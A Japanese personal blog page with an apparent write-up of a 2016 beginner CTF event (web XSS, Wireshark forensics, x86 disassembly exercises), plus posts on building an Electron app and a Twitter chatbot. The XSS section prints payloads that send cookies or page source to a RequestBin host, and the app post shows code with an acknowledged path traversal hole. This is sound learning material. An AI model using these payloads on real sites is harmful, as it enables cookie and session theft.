Calmery.me

みっかぼうずにならないようがんばる

CTF for ビギナーズ 2016 博多に参加してきました

以前から興味があった CTF のイベントがあるということで富士通株式会社九州支部で行われた CTF for ビギナーズ 博多に参加してきました.
f:id:calmery:20160716231940j:plain
Web 講義,フォレンジック講義,バイナリ講義が各60分ずつ,その後 CTF 演習がありました.ビギナーズというだけあって,わかりやすいというか,簡単なところからやっていただいたので良かったです.

Web 講義

まず初めは清水郁実さん(\ (@_193s) | Twitter)の Web 講義.CTF における Web とは Web アプリケーションの脆弱性を突く問題や Web 技術に関する問題が多い.フラグとなる文字列を見つけることは他と同じ.

今回は XSS のお話でした.Cookie を奪取したり.Cookie に httponly という属性が用意されているのは知らなかった.httponly を使用すれば document.cookie からのアクセスを制限できる.

演習で使用した Web サイトのメインページにはログインしたユーザ ID とパスワードが表示されている.まずそんなことはありえないだろうが演習なので気にしてはいけない.RequestBin — Collect, inspect and debug HTTP requests and webhooks を使用してリクエストを受け取った.管理者へのメッセージの送信欄にコードを記述する.ここで送信したメッセージは管理者のブラウザでそのまま表示される.通常はここで適切にエスケープしたりと対策を行う必要がある.だがここでは対策されていないため脆弱性となっている.

location = 'http://requestb.in/~?' + document.cookie

このメインページに httponly が付与されていた場合,上記の方法が利用できないため以下のように Ajax を利用しページのソースコード自体を入手,リクエストを送信する.

xhr = new XMLHttpRequest()
xhr.open( 'GET', '/' )
xhr.onload = function(){
    location =  'http://requestb.in/~?' + encodeURIComponent( this.responseText )
}
xhr.send()

これを見ると httponly は気休めにしかならないことがわかる.高得点問題では他の脆弱性との合わせ技でくることもあるらしい.

フォレンジック講義

次は向佐祐貴さん(進級人間 (@a_r_g_v) | Twitter)のフォレンジック講習.
フォレンジックってなんだと思ってしまった.

コンピュータやネットワークシステムのログや記録,状態を詳細に調査し,過去に起こったことを立証する証拠を集めることを意味します.

はてなの引用,こういうことらしい.CTF においては与えられたファイルから証拠を探す,復元することがこれにあたる.今回は Wireshark を使い pcap ファイルをいじり倒した.実際に使ってみたところ.
f:id:calmery:20160717224550p:plain
ファイルに FLAG という文字列が含まれている場合,ターミナルからでも探せそう.

$ strings lec1.pcap | grep FLAG
FLAG{poe}

Display Filter で必要な情報だけを取り出したりもできる.

Filter 意味
http http プロトコル
tcp.port == 80 TCP ポートが 80
ip.addr == 127.0.0.1 IP アドレスが 127.0.0.1

必要に応じて使い分ける必要がありそう.Display Filter では and や or,以上,以下などの演算子も利用できる.

また TCP Stream を使うと 1 つのコネクションでやり取りされた情報を見ることができる.パケットを右クリック,追跡の TCP Stream から利用する.
f:id:calmery:20160717225222p:plain
パケットを読む際はシナリオを意識するといいらしい.登場人物(IP アドレス),どういうプロトコル,何をしようとしているとか.

送受信されているデータは base64エンコードされている場合もある.

echo STRING | base64 --d

こうやってデコードする.エンコードされていると grep などで調べようがない.特徴としては末尾に「=」が付いていること.またパーセントエンコーディングという URI において使用できない文字を使用できる文字に置き換えるエンコードが行われている場合もある.これは nfk コマンドでデコードできる.こんなコマンドがあることは知らなかった.

$ echo STRING | nkf --url-input

次に Wireshark の統計の機能について簡単にまとめる.

Protocol Hierarchy Statistics Statistics -> Protocol Hierarchy プロトコルがパケットに占める割合を表示する
Conversations Statistics -> Conversations 誰と誰が通信しているのかを表示する
Apply Filter Apply as Filter -> Selected 選択中の要素から Display Filter を作成する

Protocol Hierarchy Statistics はどのプロトコルでの通信が少ないかといったことを簡単に確認できる.これならこのプロトコルが使用されているだろうと推測,絞り込んでいく.

最後に Wireshark でのファイルの抽出.
ファイルを受信,送信しているパケットを選択.右クリックで Export Packets Bytes でパケットからファイルを抽出できる.ファイルの拡張子がわからない場合もあるのでマジックナンバーなどはメモしておいたほうがよさそう.

あとはコマンドを幾つか覚えておくといい.

file ファイルの種類
binwalk ファイルが入れ子になっている場合に有用.-e で抽出もできる
exiftool メタ情報の確認,更新
strings ファイルの中を表示

バイナリ講義

バイナリ(泣)

ぶっちゃけよく分からない.だって難しいんだもん.ELF バイナリとは Executable and Linkable Format とかいうなんかかっこいい名前を省略したもの.多くの Linux 系,BSD 系の実行バイナリ形式として採用されているらしい.演習ファイルは key を入力し正解であれば次の key の入力へ,不正解であれば処理が中断するという処理の key を自身で見つけ出すというもの.

命令の名前がよくわからなくなる.
mov 命令は値の移動.移動元の数値に変化はない.メモリの参照には大括弧を使う.

mov eax, ebx
mov eax, [ebx]
mov [eax], ebx

lea 命令は同じく代入命令.ソースオペランドのアドレスを計算して読み込む.以下の二つは互いに同じ意味となる.

lea eax, [ebx+4]
mov eax, ebx
add eax, 4


次にスタック操作命令.push 命令は即値,またレジスタの値をスタックに保存する.pop 命令,スタックから値をレジスタに取り出す.

まだまだある.算術演算命令.add 命令は値の加算を行う.

add [ebo-0x4], 0x20

メモリの ebp-0x4 番地の値に 0x20 を加算する.
sub 命令は値の減算を行う.

sub [ebp-0x4], 0x20

基本的に add と同じ.
他にも乗算を行う imul命令 や除算を行う idiv命令,インクリメントの inc命令,デクリメントの dec命令 などがある.

次に論理演算命令.not 命令は否定,and 命令論理積or 命令論理和xor 命令排他的論理和neg 命令は正負反転を表す.

最後にシフト演算命令.shl 命令は左にシフト(2^n倍)し,shr 命令は右にシフト(2^(-1)倍)する.

わかりにくいので表にまとめる.

命令 処理
mov 代入
lea 代入
push スタック,保存
pop スタック,取り出し
add 加算
sub 減算
imul 乗算
idiv 除算
inc インクリメント
dec デクリメント
not 否定
and 論理積
or 論理和
xor 排他的論理和
neg 正負反転
shl 左シフト
shr 右シフト

ここからは演習の内容をまとめる.演習では終了時点で eax に格納されている値を求める.

0804861a <Stage1>:
 804861a:       55                      push   ebp
 804861b:       89 e5                   mov    ebp,esp
 804861d:       8b 45 08                mov    eax,DWORD PTR [ebp+0x8]
 8048620:       c7 00 e8 88 04 08       mov    DWORD PTR [eax],0x80488e8
 8048626:       90                      nop
 8048627:       90                      nop
 8048628:       b8 09 00 00 00          mov    eax,0x9
 804862d:       8d 58 03                lea    ebx,[eax+0x3]
 8048630:       c0 e0 02                shl    al,0x2
 8048633:       30 c3                   xor    bl,al
 8048635:       89 d9                   mov    ecx,ebx
 8048637:       29 c1                   sub    ecx,eax
 8048639:       49                      dec    ecx
 804863a:       0f af c1                imul   eax,ecx
 804863d:       90                      nop
 804863e:       90                      nop
 804863f:       5d                      pop    ebp
 8048640:       c3                      ret   

途中に出てくる al や bl はレジスタのことらしい.al や bl に対しての演算がどのように影響してくるのかよくわからない.上記の命令と照らし合わせながら解いてみる.

0x08048628 C言語 eax ebx ecx
mov eax, 0x9 eax = 9 9
lea ebx, [eax+0x3] ebx = eax + 3 9 12
shl al, 0x2 al <<= 2 36 12
xor bl, al bl ^= al 36 40
mov ecx, ebx ecx = ebx 36 40 40
sub ecx, eax ecx -= eax 36 40 4
dec ecx ecx-- 36 40 3
imul eax, ecx eax *= ecx 108 40 3

このとき,eax の最後の値は 108 となる.

次にスタックを利用する.esp レジスタはスタックの一番上を指す.データを積んだ分だけ esp は減っていく.ebp レジスタは関数内でのスタックの底を指す.

08048641 <Stage2>:
 8048641:       55                      push   ebp
 8048642:       89 e5                   mov    ebp,esp
 8048644:       83 ec 10                sub    esp,0x10
 8048647:       8b 45 08                mov    eax,DWORD PTR [ebp+0x8]
 804864a:       c7 00 ef 88 04 08       mov    DWORD PTR [eax],0x80488ef
 8048650:       90                      nop
 8048651:       90                      nop
 8048652:       c7 45 f8 01 00 00 00    mov    DWORD PTR [ebp-0x8],0x1
 8048659:       83 45 f8 03             add    DWORD PTR [ebp-0x8],0x3
 804865d:       8b 45 f8                mov    eax,DWORD PTR [ebp-0x8]
 8048660:       01 c0                   add    eax,eax
 8048662:       89 45 fc                mov    DWORD PTR [ebp-0x4],eax
 8048665:       8b 45 fc                mov    eax,DWORD PTR [ebp-0x4]
 8048668:       8d 50 03                lea    edx,[eax+0x3]
 804866b:       8b 45 f8                mov    eax,DWORD PTR [ebp-0x8]
 804866e:       0f af c2                imul   eax,edx
 8048671:       89 45 f8                mov    DWORD PTR [ebp-0x8],eax
 8048674:       90                      nop
 8048675:       90                      nop
 8048676:       c9                      leave  
 8048677:       c3                      ret    

局所変数を使い置き換える.

DWORD PTR [ebp-0x8] => X
DWORD PTR [ebp-0x4] => Y

これにより以下のようになる.

 8048652:       c7 45 f8 01 00 00 00    mov    X,0x1
 8048659:       83 45 f8 03             add    X,0x3
 804865d:       8b 45 f8                mov    eax,X
 8048660:       01 c0                   add    eax,eax
 8048662:       89 45 fc                mov    Y,eax
 8048665:       8b 45 fc                mov    eax,Y
 8048668:       8d 50 03                lea    edx,[eax+0x3]
 804866b:       8b 45 f8                mov    eax,X
 804866e:       0f af c2                imul   eax,edx
 8048671:       89 45 f8                mov    X,eax

見やすくなっているのだろうか.というかもうこれは慣れなんじゃないだろうか.

0x08048652 C言語 eax edx X Y
mov X,0x1 X = 1 1
add X,0x3 X += 3 4
mov eax,X eax = X 4 4
add eax,eax eax += eax 8 4
mov Y,eax Y = eax 8 4 8
mov eax,Y eax = Y 8 4 8
lea edx,[eax+0x3] edx = eax + 3 8 11 4 8
mov eax,X eax = X 4 11 4 8
imul eax,edx eax *= edx 44 11 4 8
mov X,eax X = eax 44 11 44 8

結果は 44 となる.

次は分岐命令などを使った実行制御の演習.

命令 意味
je Jump if Equal
jne Jump if Not Equal
jg Jump if Great
jge Jump if Great or Equal
jl Jump if Less
jle Jump if Less or Equal

その他にもあるみたい.

ループ命令は cmp 命令と分岐命令を使用して行う.

for( i=0; i<=0x1f; i++ )

を表すときには,

mov [ebp+var_4], 0
cmp [ebp+var_4], 0x1f
add [ebp+var_4], 1

となる.実際に見ていく.

08048678 <Stage3>:
 8048678:       55                      push   ebp
 8048679:       89 e5                   mov    ebp,esp
 804867b:       83 ec 10                sub    esp,0x10
 804867e:       8b 45 08                mov    eax,DWORD PTR [ebp+0x8]
 8048681:       c7 00 f6 88 04 08       mov    DWORD PTR [eax],0x80488f6
 8048687:       90                      nop
 8048688:       90                      nop
 8048689:       c7 45 fc 01 00 00 00    mov    DWORD PTR [ebp-0x4],0x1
 8048690:       c7 45 f8 00 00 00 00    mov    DWORD PTR [ebp-0x8],0x0
 8048697:       eb 0a                   jmp    80486a3 <Stage3+0x2b>
 8048699:       8b 45 fc                mov    eax,DWORD PTR [ebp-0x4]
 804869c:       01 45 f8                add    DWORD PTR [ebp-0x8],eax
 804869f:       83 45 fc 01             add    DWORD PTR [ebp-0x4],0x1
 80486a3:       83 7d fc 10             cmp    DWORD PTR [ebp-0x4],0x10
 80486a7:       7e f0                   jle    8048699 <Stage3+0x21>
 80486a9:       8b 45 f8                mov    eax,DWORD PTR [ebp-0x8]
 80486ac:       90                      nop
 80486ad:       90                      nop
 80486ae:       c9                      leave  
 80486af:       c3                      ret    

そろそろわけわからなくなってきた.スライド通り,わかりやすいように置き換える.

var_4 : DWORD PTR [ebp-0x4] => i
var_8 : DWORD PTR [ebp-0x8] => X

処理を追うとこうなっているらしい.

0x08048689 C言語 eax i X
mov i, 0x1 i = 1 1
mov X, 0x0 X = 0 1 0
jmp 80486a3 goto 80486a3 1 0
0x08048699 C言語 eax i X
mov eax, i eax = i 1 1 0
add X, eax X += eax 1 1 1
add i, 0x1 i += 1 1 2 1
0x080486a3 C言語 eax i X
cmp i, 0x10 for( i<=0x10 ) 1 0
jle 8048699 goto 8048699 1 0

はてな記法での表の書き方がいまいちよくわからないのでスライドとは少し違うところがある.1 つめから 3 つめに飛び,最後に 2 つめに飛ぶ.慣れればどうってことないのかな.読むのにすごい時間がかかるというか読めなさそう.

ループは合計で 16 回行われる

n eax i X
1 1 2 1
2 2 3 3
15 15 16 120
16 16 17 136

途中は省略した.結果は 136 となる.

次は関数.call 命令でスタックに積んだ引数を利用し関数を実行する.

func( a, b, c )

は以下のようになる.

sub esp, 0xc
mov [esp], a
mov [esp+0x4], b
mov [esp+0x8], c
call func

なるほど(?)
f:id:calmery:20160717223910j:plain
call 命令は関数から戻るためのアドレスを自動で push する.

080486b0 <Stage4>:
 80486b0:       55                      push   ebp
 80486b1:       89 e5                   mov    ebp,esp
 80486b3:       83 ec 18                sub    esp,0x18
 80486b6:       8b 45 08                mov    eax,DWORD PTR [ebp+0x8]
 80486b9:       c7 00 fd 88 04 08       mov    DWORD PTR [eax],0x80488fd
 80486bf:       90                      nop
 80486c0:       90                      nop
 80486c1:       c7 44 24 08 03 00 00 00 mov    DWORD PTR [esp+0x8],0x3
 80486c9:       c7 44 24 04 fb ff ff ff mov    DWORD PTR [esp+0x4],0xfffffffb
 80486d1:       c7 04 24 0b 00 00 00    mov    DWORD PTR [esp],0xb
 80486d8:       e8 07 00 00 00          call   80486e4 <Stage4_subfunc>
 80486dd:       83 c0 03                add    eax,0x3
 80486e0:       90                      nop
 80486e1:       90                      nop
 80486e2:       c9                      leave  
 80486e3:       c3                      ret    

080486e4 <Stage4_subfunc>:
 80486e4:       55                      push   ebp
 80486e5:       89 e5                   mov    ebp,esp
 80486e7:       83 ec 10                sub    esp,0x10
 80486ea:       90                      nop
 80486eb:       90                      nop
 80486ec:       8b 45 08                mov    eax,DWORD PTR [ebp+0x8]
 80486ef:       89 45 f4                mov    DWORD PTR [ebp-0xc],eax
 80486f2:       8b 45 0c                mov    eax,DWORD PTR [ebp+0xc]
 80486f5:       89 45 f8                mov    DWORD PTR [ebp-0x8],eax
 80486f8:       8b 45 10                mov    eax,DWORD PTR [ebp+0x10]
 80486fb:       89 45 fc                mov    DWORD PTR [ebp-0x4],eax
 80486fe:       90                      nop
 80486ff:       8b 45 f8                mov    eax,DWORD PTR [ebp-0x8]
 8048702:       01 45 f4                add    DWORD PTR [ebp-0xc],eax
 8048705:       8b 45 f4                mov    eax,DWORD PTR [ebp-0xc]
 8048708:       29 45 fc                sub    DWORD PTR [ebp-0x4],eax
 804870b:       8b 45 f8                mov    eax,DWORD PTR [ebp-0x8]
 804870e:       0f af 45 fc             imul   eax,DWORD PTR [ebp-0x4]
 8048712:       89 45 f4                mov    DWORD PTR [ebp-0xc],eax
 8048715:       90                      nop
 8048716:       90                      nop
 8048717:       c9                      leave  
 8048718:       c3                      ret 

引数はこんな感じらしい.

mov DWORD PTR [esp+0x8], 0x3
mov DWORD PTR [esp+0x4], 0xfffffffb
mov DWORD PTR [esp], 0xb
call 80486e1 <Stage4_subfunc>
add eax, 0x3

わかりにくいので.

引数
[esp] 11
[esp+0x4] -5
[esp+0x8] 3

結果として Stage4_subfunc( 11, -5, 3 ) と同じ意味になる.
先ほどの演習を解くために置き換える.

DWORD PTR [ebp-0xc] => X
DWORD PTR [ebp-0x8] => Y
DWORD PTR [ebp-0x4] => Z
mov eax, DWORD PTR [ebp+0x8]
mov X, eax
mov eax, DWORD PTR [ebp+0xc]
mov Y, eax
mov eax, DWORD PTR [ebp+0x10]
mov Z, eax

このときスタックはこうなっている.

X -0xC
Y -0x8
Z -0x4
old_ebp ebp
0x080486dd +0x4
11 +0x8
-5 +0xC
3 +0x10

この Stage4_subfunc 関数の処理を追ってみる.

0x080486fe C言語 eax X Y Z
nop 11 -5 3
mov eax, Y eax = Y -5 11 -5 3
add X, eax X += eax -5 6 -5 3
mov eax, X eax = X 6 6 -5 3
sub Z, eax Z -= eax 6 6 -5 3
mov eax, Y eax = Y -5 6 -5 -3
imul eax, Z eax *= Z 15 6 -5 -3
mov X, eax X = eax 15 15 -5 -3

Stage4_subfunc を抜けた後は add 命令が行われている.

0x080486fb eax
call 80486e4 15
add eax, 0x3 18

結果は 18 となる.なるほどわからん.ほとんどスライドの内容を丸写ししてるだけになっている.ごめんなさい.でも自分で読んでみるのも楽しかった.GUI のソフトもあるらしい.IDA free/IDA demo というもの.視覚的にわかりやすくなるのはとてもありがたい.

CTF 演習

感想としてはめちゃくちゃ楽しい.開発は飽き性の自分との戦いのような気がしてならないが CTF は周りの人と競い合うので楽しい.やはりゲーム感覚で行えるところがいいのでしょうか.解けない問題があるとすごい悔しい.
f:id:calmery:20160716232213p:plain
f:id:calmery:20160716234140p:plain
1100 点で 8 位.ビギナーズですし解ける問題もあったので良かった.右下は全滅している.Web 問題の PHP! PHP! PHP! はどこかで解いたような問題で,後々見てみると ksnctf に似たような問題があった.

PHP! PHP! PHP! は単純にパラメータをつけてあげる.

?var1[]=&var2=1e3

エクスポートできるかな?は謎のテキストファイルをエクスポートしてデコードしたら出てきた.

$ echo 'Y3RmNGJ7NTM2ZGFjMzcxYWE2NTJmODY1YzIwYWJlN2I0MDk0ZGJ9' | base64 --d
ctf4b{536dac371aa652f865c20abe7b4094db}

この 2 つ,Web と Forensics の 200 点問題は以前やったことがあった.ちゃんと解いた問題はメモしておいたほうがよさそう.すぐ忘れてしまう.あと,もう少し落ち着いて解いたほうがよかった.ビギナーズですし問題が簡単に作ってあるのだとは思う.それでも解けると楽しい.いやこれ楽しいです.

次の日,17日の SECCON はハードウェア CTF ということで今回は見送り.でも大会に出てみるのも絶対に楽しい.次は出てみたい.

CTF for ビギナーズの後は博多駅でもつ鍋食べました.
f:id:calmery:20160718001317j:plain
ラーメンを投入!
f:id:calmery:20160718001451j:plain
とても美味しかった.

サイバー防犯ボランティアでアプリを作った

前回のサイバー防犯ボランティア九州フォーラムで発表した通り,最低限の機能を持ったアプリケーションを今月中に公開することができた.
http://calmery.hatenablog.com/entry/2016/06/13/001846calmery.hatenablog.com
明日から少しの間はゆっくり寝れる.開発の時間が短すぎたり色々問題が起こったりとそこそこ時間がかかってしまった.情報を共有するためのサーバの実装まで間に合わなかったのが心残り.近いうちに実装したいと思う.

疲れた.あとアプリケーションの見た目を作ってくれる人を探したい.今回は見た目も頑張ったがもうやりたくない.次回は情報の共有と検索の強化に努める.隠語のリストなどまだ実装してない部分が多い為これも近いうちに実装したい.現在三人でアプリケーション,サーバ,ライブラリと別れて作業している.時間があれば問題はないだろうけど辛い.そろそろ人を増やしたい.

開発環境

現在は NodeJS v5.10.0 と npm 3.8.3 を使用して開発を進めている.拡張を進めるにあたって以下のようにレポジトリを取得する.よくよく見てみると README には Node v4.4.7 LTS を入手と書いていた.動くのでどちらでもいいかも.

calmery:git calmery$ git clone https://github.com/calmery/spotlight.git
Cloning into 'spotlight'...
remote: Counting objects: 107, done.
remote: Compressing objects: 100% (81/81), done.
remote: Total 107 (delta 40), reused 67 (delta 15), pack-reused 0
Receiving objects: 100% (107/107), 473.23 KiB | 376.00 KiB/s, done.
Resolving deltas: 100% (40/40), done.
Checking connectivity... done.
calmery:git calmery$ cd spotlight
calmery:spotlight calmery$ npm install
spotlight@0.1.0 /Users/calmery/Git/spotlight
├─┬ electron@0.4.1 
├─┬ express@4.14.0 
├─┬ express-session@1.14.0 
├─┬ passport@0.3.2 
├─┬ passport-twitter@1.0.4 
├─┬ socket.io@1.4.8 
└── twitter@1.3.0 

中身はこうなっている.

├── config
│   └── config.js
├── icon.ico
├── index.js
├── library
│   ├── electron.js
│   ├── express.js
│   └── twitter.js
├── node_modules
├── package.json
├── spotlight.icns
├── spotlight.iconset
└── view
    ├── edit.html
    ├── index.html
    ├── information.html
    ├── list.html
    ├── newUser.html
    ├── resources
    │   ├── css
    │   ├── font
    │   └── js
    ├── search.html
    ├── setting.html
    ├── setup.html
    └── vote.html

恐い人たちから何だこの構成はと怒られそうだが大目に見ていただきたい.

実行

Electron を使用して動かす.このままでは動かないのでさらに必要なモジュールを入手する.

$ npm install -g electron-prebuilt
$ npm install -g electron-packager

これでアプリケーションを実行できる.場所によって引数を変えて実行する.

$ electron .

開発

まず library だがここにモジュールごとに処理を分けている.次に view には実際に表示に利用する html がある.どれがどれに対応しているかは express.js のルーティングを見ていただければわかる.

実際の実装だが表示を行う html ファイルと NodeJS は socket.io を使って通信を行うようにしている.またユーザの登録とアプリケーションの利用で起動時にルーティングを分けている.これはもともと Web 上に登録ページを作ってそこからアプリケーションのユーザ登録をするはずだったが,登録ページの作成が間に合わず,期間ギリギリでユーザ登録をアプリケーションに後付けで実装したためこうなってしまった.あと検索結果をファイルとして書き出してしまっていること,ファイル名の指定方法によってはいろいろ危ないことがある.

...
var error
fs.writeFile( __dirname + '/data/result/' + data.name + '.json', JSON.stringify( data.data ), function( err ){
    if( err ) error = true
...

この辺りがとても危ない.近いうちに修正する.保存のとき,名前に「../」とかつけちゃダメ.あとファイルを書き出して保存するかわりに SQLite3 を使いたい.初めは使うつもりだったが調べてみると SQLite3 をインストールする必要があるだとかないだとか.自分は入っていて動作するがアプリケーションとして配布したときに動かなかったら意味がない.試す時間が惜しかったので今回はそのまま.インストールする必要がないのであれば利用したい.もしインストールする必要がある場合で使用できないときでももっといい方法を考えたい.

実際にアプリケーションとして書き出す方法は後述するが,ここでハマったので書いておく.初めルーティング部分に渡す関数で以下のように指定していた.

function( request, response ){
    response.sendfile( __dirname + '/../view/index.html' )
}

だが electron-packager を利用し書き出した後に実際に実行してみると以下のように出てうまく動かなかった.

ForbiddenError: Forbidden
   at SendStream.error (/Users/calmery/Cyber/node_modules/send/index.js:275:31)
   at SendStream.pipe (/Users/calmery/Cyber/node_modules/send/index.js:508:12)
   at sendfile (/Users/calmery/Cyber/node_modules/express/lib/response.js:1051:8)
   at ServerResponse.res.sendfile (/Users/calmery/Cyber/node_modules/express/lib/response.js:481:3)
   at ServerResponse.eval [as sendfile] (eval at wrapfunction (/Users/calmery/Cyber/node_modules/depd/index.js:413:5), <anonymous>:4:11)
   at fn (/Users/calmery/Cyber/library/express.js:32:26)
   at Layer.handle [as handle_request] (/Users/calmery/Cyber/node_modules/express/lib/router/layer.js:95:5)
   at next (/Users/calmery/Cyber/node_modules/express/lib/router/route.js:131:13)
   at Route.dispatch (/Users/calmery/Cyber/node_modules/express/lib/router/route.js:112:3)
   at Layer.handle [as handle_request] (/Users/calmery/Cyber/node_modules/express/lib/router/layer.js:95:5)

調べてみると絶対パスで指定すればいいような感じ.いやなってそうだけどと思いつつ node.js - Express res.sendfile throwing forbidden error - Stack Overflow を見て path.resolve で囲ったらいけた.

function( request, response ){
    response.sendfile( path.resolve( __dirname + '/../view/index.html' ) )
}

配布

electron-packager を使用しアプリケーションとして書き出す.アイコンは OS ごとに決まった形で指定する必要がある.

$ electron-packager . SpotlightBeta --platform=win32,darwin --arch=x64 --version=1.2.4

OS X の場合は少し面倒だった.nulab さんの記事,Electronアプリをプロダクトとして「正しく」リリースするために必要な3つのこと | ヌーラボ
Macアプリの.icnsを作るときのメモ - Qiita を参考にするといいがアイコンとする画像をサイズごとに用意しコマンドで icns に変換する.面倒くさい.

calmery:spotlight calmery$ iconutil -c icns spotlight.iconset
calmery:spotlight calmery$ electron-packager . Spotlight --platform=darwin --arch=x64 --version=1.2.4 --overwrite --icon=spotlight.icns
The strict-ssl parameter is deprecated, use download.strictSSL instead
Packaging app for platform darwin x64 using electron v1.2.4
Wrote new app to /Users/calmery/spotlight/Spotlight-darwin-x64

Windows の場合は単純に ico に変換すればいい.アイコンの関係上,まとめて書き出すのはあまり良くないような気がする.

ユーザーローカルの人工知能ボットAPIを使ってTwitterの自動返答ボットを作った

ユーザーローカルの人工知能ボット API の提供が開始されたということで Twitter のボットを作ってみた.
API のドキュメントが何処にあるのかわからないから簡単にまとめておく.

https://chatbot-api.userlocal.jp/api/chat?message=MESSAGE&key=API_KEY

で送ったメッセージへの返事がが返ってくる。ただ返答の精度はあまり良くないように思った.

{"status":"success","result":"だょね~"}

実装は Node.JS を使った.ストリーミングで自分へのリプライを監視し、受け取ったメッセージを API に送る.返された返答をそのままツイートするだけ.ただこれだと自分で自分にリプライを送ったときリプライ合戦が始まってしまう.でもこれはこれで見ていて面白かったのでそのままで.

var twitter = require( 'twitter' )
var request = require( 'request' )

var twit = new twitter( {
    consumer_key       : 'CONSUMER_KEY',
    consumer_secret    : 'CONSUMER_SECRET',
    access_token_key   : 'ACCESS_TOKEN_KEY',
    access_token_secret: 'ACCESS_TOKEN_SECRET'
} )

var baseUrl1 = 'https://chatbot-api.userlocal.jp/api/chat?message='
var baseUrl2 = '&key=API_KEY'

twit.stream( 'statuses/filter', {
    track: '@calmeryme'
}, function( stream ){
    stream.on( 'data', function( data ){
        var user    = data.user.screen_name,
            twid    = data.id,
            mention = data.text.replace( /@calmeryme\s+/, '' )
        request( baseUrl1 + encodeURI( mention ) + baseUrl2, function( error, response, body ){
            var result
            if( !error && response.statusCode == 200 )
                result = '@' + user + ' ' + JSON.parse(body).result
            else
                result = '@' + user + ' ' + mention + ' => error: ' + response.statusCode
            twit.post( 'statuses/update', {
                status: result,
                in_reply_to_status_id: twid
            }, function( err, data, response ){
                console.log( '@' + user + ' : ' + mention + ' => ' + result )
            } )
        } )
    } )
} )

Twitter だけでなく LINE などと組み合わせても面白そう.キャラクター会話変換や氏名自動識別,形態素解析もあるので色々試してみたい.